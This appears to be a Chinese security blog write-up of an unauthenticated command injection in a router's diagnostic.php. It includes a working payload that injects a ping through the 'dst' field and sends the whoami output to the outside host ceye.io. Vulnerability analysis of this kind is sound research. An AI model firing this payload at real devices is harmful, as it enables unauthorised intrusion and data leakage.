某路由器的远程代码执行漏洞(0day)

发布于 2018-09-18  1177 次阅读


解开固件进入 suashfs-root/htdocs 文件夹。这个漏洞出现在 diagnostic.php 文件。直接看代码:

HTTP/1.1 200 OK
Content-Type: text/xml
<?
if ($_POST["act"] == "ping")
{
set("/runtime/diagnostic/ping", $_POST["dst"]);
$result = "OK";
}
else if ($_POST["act"] == "pingreport")
{
$result = get("x", "/runtime/diagnostic/ping");
}
echo '<!--?xml version="1.0"?-->\n';
?>

分析代码可以看到,这里没有进行权限认证,所以可以直接绕过登录。继续往下看,set(“/runtime/diagnostic/ping”, $_POST[“dst”]); 这段代码就是造成漏洞的关键代码。参数 dst 没有任何过滤直接进入到了 ping的命令执行里,导致任意命令执行漏洞。继续往下看 $result = “OK”; 无论是否执行成功,这里都会显示OK。所以这是一个盲注的命令执行。以此构造payload

url = ‘localhost/diagnostic.php’

data = “act=ping&dst=%26 ping whoami.ceye.io%26”

因为是盲注的命令执行,所以这里需要借助一个盲打平台(如:ceye),来验证漏洞是否存在。


网络安全研究员、渗透测试攻城狮
文能社会工程学,武能过狗拿shell
日的了站,做的了饭。
人生格言:即使是咸鱼,也一定是最咸的那条